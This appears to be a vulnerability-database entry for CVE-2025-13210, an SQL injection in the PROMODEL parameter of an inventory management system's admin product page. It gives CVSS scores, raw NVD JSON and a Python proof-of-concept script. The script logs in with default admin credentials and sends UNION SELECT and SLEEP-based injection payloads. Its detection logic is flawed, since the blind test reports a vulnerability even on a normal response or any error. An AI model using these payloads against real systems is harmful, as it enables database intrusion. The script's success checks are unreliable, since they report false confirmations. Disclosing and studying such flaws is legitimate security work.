Security Vulnerability Report
中文
CVE-2025-13210 CVSS 4.7 MEDIUM

CVE-2025-13210

Published: 2025-11-15 19:15:43
Last Modified: 2026-04-29 01:00:02

Description

A security vulnerability has been detected in itsourcecode Inventory Management System 1.0. This impacts an unknown function of the file /admin/products/index.php?view=add. Such manipulation of the argument PROMODEL leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:janobe:inventory_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
itsourcecode Inventory Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13210 SQL Injection PoC # Target: itsourcecode Inventory Management System 1.0 # Endpoint: /admin/products/index.php?view=add # Parameter: PROMODEL TARGET_URL = "http://target-site.com/admin/products/index.php" LOGIN_URL = "http://target-site.com/admin/login.php" USERNAME = "admin" PASSWORD = "admin" def login(session): """Login to admin panel""" data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=data) return "admin" in response.text or response.status_code == 200 def exploit_sqli(session): """Exploit SQL injection vulnerability""" # Basic SQL injection test - extract database version payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -" params = { "view": "add", "PROMODEL": payload } try: response = session.get(TARGET_URL, params=params) # Check for SQL error indicators if "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[+] SQL Injection confirmed!") print("[+] Database version information may be leaked") return True else: print("[-] No obvious SQL injection response detected") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def blind_sqli_test(session): """Time-based blind SQL injection test""" # Time-based blind injection - if vulnerable, response will be delayed payload = "' AND SLEEP(5)-- -" params = { "view": "add", "PROMODEL": payload } try: response = session.get(TARGET_URL, params=params, timeout=10) print("[+] Blind SQL injection test completed") return True except: print("[+] Time delay detected - vulnerability confirmed!") return True if __name__ == "__main__": print("[*] CVE-2025-13210 SQL Injection PoC") print("[*] Target: itsourcecode Inventory Management System 1.0") session = requests.Session() # Step 1: Login print("\n[Step 1] Attempting admin login...") if login(session): print("[+] Login successful") else: print("[-] Login failed") sys.exit(1) # Step 2: Test SQL injection print("\n[Step 2] Testing SQL injection...") exploit_sqli(session) # Step 3: Blind SQL injection test print("\n[Step 3] Testing blind SQL injection...") blind_sqli_test(session) print("\n[*] Scan completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13210", "sourceIdentifier": "[email protected]", "published": "2025-11-15T19:15:43.490", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in itsourcecode Inventory Management System 1.0. This impacts an unknown function of the file /admin/products/index.php?view=add. Such manipulation of the argument PROMODEL leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:janobe:inventory_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F165A72-35AF-4A34-91F9-F8AF5B0B8568"}]}]}], "references": [{"url": "https://github.com/yihaofuweng/cve/issues/56", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://itsourcecode.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://vuldb.com/?ctiid.332529", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.332529", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.685702", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}